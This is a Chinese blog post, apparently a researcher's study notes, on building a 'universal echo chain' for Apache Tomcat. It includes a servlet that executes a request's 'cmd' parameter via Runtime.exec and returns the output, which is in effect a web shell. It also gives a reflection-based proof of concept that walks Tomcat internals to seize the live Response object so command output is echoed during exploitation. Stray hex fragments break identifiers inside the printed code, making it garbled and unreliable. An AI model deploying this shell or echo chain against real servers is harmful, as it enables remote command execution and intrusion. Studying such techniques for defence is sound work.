Java安全之基于Tomcat的通用回显链
Java安全之基于Tomcat的通用回显链
写在前面
首先看这篇文还是建议简单了解下Tomcat中的一些概念,不然看起来会比较吃力。其次是回顾下反射中有关Field类的一些操作。
* Field[] getFields() :获取所有public修饰的成员变量 * Field getField(String name) 获取指定名称的 public修饰的成员变量 * Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符 * Field getDeclaredField(String name) Field:成员变量 * 操作: 1. 设置值 * void set(Object obj, Object value) 2. 获取值 * get(Object obj) 3. 忽略访问权限修饰符的安全检查 * setAccessible(true):暴力反射 getField和getDeclaredField区别: getField 获取一个类的 ==public成员变量,包括基类== 。 getDeclaredField 获取一个类的 ==所有成员变量,不包括基类== 。
Tomcat 通用回显
是
Litch1师傅提出的一个思路,通过找Tomcat中全局存储的request或response对象,进而挖掘出一种在Tomcat下可以通杀的回显链。依据师傅的文章进行调试。
调试前先解决一个问题,普通的一个命令执行是如何进行回显的。
代码如下:整体流程就是通过
request对象拿到我们要执行的命令,并作为参数带到执行命令的方法中,将命令结果作为
InputStream,通过
response对象
resp.getWriter().write()方法输出命令执行的结果,从而在页面获得回显。
@WebServlet("/HXServlet") public class HXServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd = req.getParameter("cmd"); InputStream is = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bis = new BufferedInputStream(is); int len; while ((len = bis.read())!=-1){ resp.getWriter().write(len); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doGet(req,resp); } }
调试分析
那么在回显链中也就需要我们拿到
response对象。
如果需要找一个全局存储的request或response对象,那就要在底层看Tomcat处理request或response对象的流程。
这里起了一个Tomcat9.0.24做测试,debug后观察调用栈,进入文章中提到的
Http11Processor类
在该类的父类
AbstractProcessor中,存在request和response对象,并且是final修饰的,那么就不可以被直接修改,且该request和response符合我们的预期,我们可以通过这里的request和response对象构造回显。
接下来就是往前寻找这个类在什么地方进行初始化的,这样拿到
Http11Processor对象就可以获取到request和response对象了。
在
AbstractProtocol$ConnectionHandler (org.apache.coyote)中发现已经生成了
Http1Processor对象
register方法中处理如下:最终是将一个
RequestGroupInfo对象放到了
AbstractProtocol的内部类
ConnectionHandler中的
global属性
而
RequestGroupInfo存储了一个
RequestInfo的
List在
RequestInfo中就包含了
Request对象,那么可以通过
Request对象来拿到我们最终的
Response(
Request.getResponse())。
调用流程如下:
AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Response。
后面就是要找有没有地方有存储AbstractProtocol(继承AbstractProtocol的类)。发现在
CoyoteAdapter类中的
connector属性有很多处理Request的操作,跟进查看后Connector中存在ProtocolHandler类型的Field,而ProtocolHandler的实现类中就存在AbstractProtocol
而在Tomcat启动过程红会将Connector放入Service中,这里的Service为StandardService。
所以调用链变为
StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
而获取
StandardService就变成了现在的关键,文中给出的是通过线程上下文类加载器,WebappClassLoaderBase
Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器,如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。
最后的调用链为
WebappClassLoaderBa ad8 se ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
回显链构造与分析
先放上代码
import org.apache.catalina.connector.Connector; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.core.StandardService; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.coyote.Request; import org.apache.coyote.RequestGroupInfo; import org.apache.coyote.RequestInfo; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.List; @WebServlet("/demo") public class TomcatEcho extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { /* WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector---> --->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。 */ //0x01 首先通过WebappClassLoaderBase来拿到StandardContext上下文 org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); try { //0x02 反射获取ApplicationContext上下文。抛出疑问1:为什么要拿这个上下文? Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); context.setAccessible(true); ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext); //0x03 反射获取StandardService类型的属性service的值 Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); service.setAccessible(true); org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext); //0x04 反射获取StandardService中的Connectors数组 Field ad0 connectors = standardService.getClass().getDeclaredField("connectors"); connectors.setAccessible(true); Connector[] connector = (Connector[]) connectors.get(standardService); //0x04 反射获取protocolHandler,为后续获取RequestGroupInfo数组作准备 Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler"); protocolHandler.setAccessible(true); //0x05 反射获取AbstractProtocol list。抛出疑问2:为什么要用getDeclaredClasses()? Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses(); //这里的classes数组为内置类,AbstractProtocol有两个内置类:ConnectionHandler、RecycledProcessors,我们需要的是ConnectionHandler for (Class<?> declaredClass : declaredClasses) { //通过全限定类名长度筛选出ConnectionHandler if (declaredClass.getName().length()==52){ // 0x06 获取getHandler方法,为后续获取global属性值:RequestGroupInfo数组作准备 java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); getHandler.setAccessible(true); // 0x07 反射获取global属性值:RequestGroupInfo数组 Field global = declaredClass.getDeclaredField("global"); global.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null)); // 0x08 反射获取RequestGroupInfo中processors,该属性值为元素类型为RequestInfo的List数组 Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processors.setAccessible(true); java.util.List<org.apache.coyote.RequestInfo> requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo); // 0x09 反射获取RequestInfo中的org.apache.coyote.Request类 Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); req1.setAccessible(true); // 0x10 遍历RequestGroupInfo中processors的属性值,寻找需要的Request对象 for (RequestInfo info : requestInfo) { org.apache.coyote.Request request = (Request) req1.get(info); // 0x11 通过getNote()方法获取org.apache.catal 1b1c ina.connector.Request对象。抛出问题3:为什么要用org.apache.catalina.connector.Request对象?抛出问题4:为什么要用getNote方法获取? org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1); // 0x12 拿到response对象,回显链构造完毕 org.apache.catalina.connector.Response response = request1.getResponse(); response.getWriter().write("123"); } } } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException | ClassNotFoundException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doGet(req, resp); } }
贴个回显命令执行结果的图庆祝一下
踩坑记录
下面对构造回显链的poc时的坑点以及疑问做一下记录:
-
反射:关于反射之前没有仔细学习Field类的相关方法,上面构造时经常要用到获取某个类中某个属性的值,以StandarService举例,代码如下:获取到Field对象之后需要调用field.get(context)来拿到对应属性的值
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); service.setAccessible(true); org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
-
关于回显链代码中出现的两个上下文:StandardContext和ApplicationContext
首先我们通过
webappClassLoaderBase.getResources().getContext()
拿到的是StandardContext
但是这还不够,回显链的入口点为StandardService
,而在StandardContext
上下文中是没有保存StandardService
的,需要先获取`StandardContext成员变量ApplicationContext进而获取Service。这点观察源码就可以发现。在Servlet中ServletContext表示web应用的上下文环境,而对应在tomcat中,ServletContext对应tomcat实现是org.apache.catalina.core.ApplicationContext,Context容器对应tomcat实现是org.apache.catalina.core.StandardContext。ApplicationContext是StandardContext的一个成员变量。
-
反射获取
AbstractProtocol
为什么要用getDeclaredClasses()
因为这里要获取内部类
ConnectionHandler
,所以需要用到getDeclaredClasses()
方法获取内部类 getDeclaredClasses()
获取外部类 getDeclaringClass() -
最后为什么用
org.apache.catalina.connector.Request
对象来获取Response
org.apache.coyote.Request request = (Request) req1.get(info); // 0x11 通过getNote()方法获取org.apache.catalina.connector.Request对象。抛出问题3:为什么要用org.apache.catalina.connector.Request对象?抛出问题4:为什么要用getNote方法获取? org.apache.catalina.connector.Request request1
这里
org.apache.coyote.Request
确实有getResponse方法,也能拿到Response对象,但是看一下org.apache.coyote.Response
代码和org.apache.catalina.connector.Response
区别:org.apache.coyote.Response
没有实现HttpServletResponse
接口,也没有getWriter()
等方法帮我们制造回显,所以没选择用它。
-
关于Request对象哪里的的getNote()方法
获取到
Request
需要调用request.getNote(1);
转换为org.apache.catalina.connector.Request
的对象。这个方法是在org.apache.coyote.Request中定义的,详细解读可参考:https://segmentfault.com/a/1190000022261740
通过调用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 来获取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 对象
- NoSQL数据库:MongoDB安装、启动和基于JAVA、PHP的一般操作和用户安全设置
- 取代Java中的Thread.stop : 一个安全终止线程的通用模板
- ELKstack-基于java工程tomcat应用日志处理过程-02
- 基于Apache与Tomcat的Java平台部署方案
- JavaWeb 用Intellij IDEA创建基于tomcat和jetty的Servlet
- ELKstack-基于java工程tomcat应用日志处理过程-01
- 【小C出品】应学员的要求,java实现基于eclipse插件杀死TOMCAT进程的代码
- Java与Flex学习笔记(7)----将Spring与Flex整合(基于嵌入式tomcat)(2012-07-24 更新)
- 基于Tomcat7、Java、WebSocket的服务器推送聊天室项目
- 基于Java实现的简单且通用的分页实现封装 <Pagiation>
- 基于Tomcat7、Java、WebSocket的服务器推送聊天室
- MAC下基于JAVA和Tomcat的微信二次开发环境配置
- 终结者:HTTPS在Tomcat中的使用(三)——Java代码生成密钥库文件及其对应的安全证书
- java安全架构____keytool数字证书配置tomcat的https实战
- 基于Tomcat 的WEB Project存在的安全漏洞总结
- 如何在Tomcat或其他基于Java的Web服务器下安装SSL证书
- 基于Tomcat7、Java、WebSocket的服务器推送聊天室
- java通用分页(SSH2框架下)和基于Hibernate的BaseDao接口
- 基于java config的springSecurity(四)--启用全局方法安全
- 利用Dockerfile构建一个基于centos 7,包括java 8, tomcat 7,php ,mysql+mycat的镜像